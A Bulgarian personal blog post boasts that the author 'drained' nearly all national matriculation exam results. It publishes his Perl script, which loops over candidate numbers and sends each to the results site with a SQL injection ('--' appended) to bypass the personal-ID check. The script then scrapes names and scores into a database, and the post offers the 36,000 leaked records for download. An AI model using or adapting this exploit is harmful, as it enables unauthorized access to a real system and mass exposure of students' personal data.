Матурки, Матурки, Мад....

Фанфари свирят, червения килим се развърта по земята, и изведнъж се появявам аз, пристъпващ бавно-бавно с безжичен usb адаптор в ръка...

Това не е някой от странните ми сънища, а самата реалност, защото:
  • Реших да съживя тая развалина, наречена блог.
  • Все още карам на публични(разбирай чужди) безжични мрежи за интернет в София.

И докато втората причина е съвсем обяснима ("пари нема, действайте". Тъй, тъй, чичо Годжи) то първата е мъглява и мистична като дълбок планински вир в пролетна утрин. Най-вероятно поради липсата на поприще за изява на потиснатия ми креативитет. Звучи ужасно комплексно, пък всъщност става въпрос за нищо кой-знае какво :D Но стига толкова въведения.

И преди да съм нападнат за несъответствие на заглавието с текста, независимо че няма от кого, ще се измъкна и ще продължа по същество. Оставам верен на себе си и представям поредната geek-щина от себе си, а именно: скриптът, с когото източих (почти) всички резултати от матурата. Писан е на Perl и се нуждае от 1-2 библиотечки, който се инсталират за 0 време през CPAN. Скрипта го търсете на дъното ->

Трябва да уточня че става дума за първите матури - септемврийските не ме интересуват. Източете си ги сами със същия скрипт. Лиценза е GPL. Абе ако щете го крадете, поне ще научите нещо за Perl.

За да не кажете че си измислям, тук публикувам и тези всичките резултати в няколко удобни формата. Внимание, файловете съдържат по 36000 записа, така че не се чудете защо ви забива Word/Excel/SQL-a/т.н. Свали версия: Excel SQL CSV XML

И преди да съм арестуван от ГДБОП и всесилната ръка на закона(протегната от кмета, естествено) да ме е сграбчила за usb адаптера, само ще добавя че тези файлове не съм ги качил аз, а един приятел, така е че негова (евентуалната) вина. Той се казва Руперт Циско, за по-кратко му казваме Прокс. (Както гласи песента на Ъпсурт) не питай защо!

Connection Lost. Wireless network out of range...



#!/usr/bin/perl

#----- библиотеки
use lib qw( ..);
use HTML::TableExtract;
use LWP::Simple;
use Data::Dumper;
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use DBI;
require Encode;

#----- инициализации, блабла
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 8.0 blah...");
$name="";
$number="0";
$test1="";
$test2="";
$ocenka1="";
$ocenka2="";
my $check = "<td bgcolor=#F5F5F5 class=\"style3\"><strong>";
$broi = 0;
$idstart = 1000001; #кои е номер 1 в листа? xD
$idend = 6500000; #последния в листа
$idnow = $idstart;
$nosuchid = 0;
$thisonefails = 0;

#----- айде на SQL-а
my $dsn = 'DBI:mysql:spider:localhost';
my $db_user_name = 'spider';
my $db_password = '';
my ($id, $password);
my $dbh = DBI->connect($dsn, $db_user_name, $db_password);
$dbh->do("SET NAMES 'utf8'"); #тая кирилица от записите е много кофти


while($idnow <= $idend) {
print "now trying $idnow ... ";
#----- отваря страницата и резултата с помощта на SQL инжекция в кода
my $req = (POST 'http://rezultati.zamaturite.bg/rezultati.php',
["EnterNumber" => $idnow . " --",
"EGN" => "1"]);

$request = $ua->request($req);
$content = $request->content;

#----- тест дали номера на кандидата се използва (ако не, няма таблица (с резултатите) в текущата страница)

#print "checkin for validity of ID $idnow...\n"; #за по-голяма приказливост, или както му викат нормалните хора - verbosity
if(index($content,$check) == -1) {
# die("No such ID!\n"); #дрън-дрън
print "failed! \n";

#----- Алгоритъмче за превъртане на километража, така де, номера

#----- След 20 неуспешни локални номера (последната тройка) ->
#----- се мятаме на нов локален идентификатор (втора двойка числа)
#----- или нов градски индентификатор (първа двойка числа)
if(++$nosuchid == 20) {
my $p3 = substr($idnow, 4);
my $p2 = substr($idnow, 2, 2);
my $p1 = substr($idnow, 0, 2);
if( $p2 == '99' ) {
$p3 = '001';
$p2 = '00';
$p1++;
} else {
$p3 = '001';
$p2++;
if($p2 == '1') { $p2 = '01'; }
}
$idnow = $p1 . $p2 . $p3;
$nosuchid = 0;
} else {
++$idnow;
}
next;
}
#----- главен цикъл//живот

$nosuchid = 0;

#----- ----- "прочети" таблицата
my $te = new HTML::TableExtract( depth=>1, count=>1, gridmap=>0);

#----- ----- а сега разпредели и оразумей прочетеното -> Име, номер,
$te->parse($content);

foreach $ts ($te->table_states)
{
# print "dumpin table xD\n"; #дрън-дрън приказливост
foreach $row ($ts->rows)
{
$broi++;

# бла-бла още приказливост
# print "dumpin row xD\n";

# кофти кирилица
if($broi == 3) { $number = Encode::decode( 'cp-1251', @$row[1] ); }
if($broi == 4) { $name = Encode::decode( 'cp-1251', @$row[1] ); }
if($broi == 7) { $test1 = Encode::decode( 'cp-1251', @$row[0] ); }
if($broi == 8) { $test2 = Encode::decode( 'cp-1251', @$row[0] ); }

# приказлив като стара лелка
#print Dumper $row;
#print @$row[1] . "\n";
#print Dumper $row if (scalar(@$row) == 2);
}
}

#----- ----- извлечи ми точки за първи изпит (български)
#----- ----- "прочети" таблицата
my $te = new HTML::TableExtract( depth=>2, count=>0, gridmap=>0);

#----- ----- 'земи точките
$te->parse($content);

foreach $ts ($te->table_states)
{
# print "dumpin table xD\n";
foreach $row ($ts->rows)
{
$ocenka1 = substr(@$row[0], index(@$row[0], ".") -2, 5);

}
}

#----- ----- извлечи ми точки за втори изпит (избирателен)
#----- ----- чети таблицата!
my $te = new HTML::TableExtract( depth=>2, count=>1, gridmap=>0);

#----- ----- земи точки!
$te->parse($content);

foreach $ts ($te->table_states)
{
# print "dumpin table xD\n";
foreach $row ($ts->rows)
{
$ocenka2 = substr(@$row[0], index(@$row[0], ".") -2, 5);

}
}



#----- а сега да почистим записите на тия лентяй от ненужни интервали
$test1 =~ s/^\s+//; #махаш начални интервали
$test1 =~ s/\s+$//; #махаш крайни интервали

$test2 =~ s/^\s+//; #махаш начални интервали
$test2 =~ s/\s+$//; #махаш крайни интервали

$ocenka1 =~ s/^\s+//; #махаш начални интервали
$ocenka2 =~ s/\s+$//; #махаш крайни интервали

#----- не помня кво съм правил тука, прилича на чистене на интервали
# substr($test1, 28, length($test1), "");
# substr($test1, 0, 1, "");
# substr($test2, 0, 1, "");

print "Name: " . $name . "\tNumber: " . $number . "\n";

#----- още приказливост
#print "Test1: " . $test1 . "\tTest2: " . $test2 . "\n";
#print "Ocenka1: " . $ocenka1 . "\tOcenka2: " . $ocenka2 . "\n";

#----- ръч в базата данни
my $sth = $dbh->prepare(qq{
INSERT INTO maturi (nomer, ime, test2, ocenka1, ocenka2) VALUES ($number, \'$name\', \'$test2\', $ocenka1, $ocenka2)
});
$sth->execute() or $thisonefails++;

#----- increment counter
if($thisonefails != 1) {
$idnow++;
$thisonefails = 0;
}
#----- първо си мислех че sql-а ми дропи заявките от натоварване, а то
# се оказа че някои гении нямат втора или първа оценка или нещо подобно,
# и заявката се дъни поради липса на параметър. Оставих го за всеки случай.

$broi = 0;
$name = $number = $test1 = $test2 = $ocenka1 = $ocenka2 = "";
}




Условия за четене, бла бла

Използване на материали от блога, включително истории, картинки, статии, житейски заблуди, болни идеи и рам е строго препоръчително.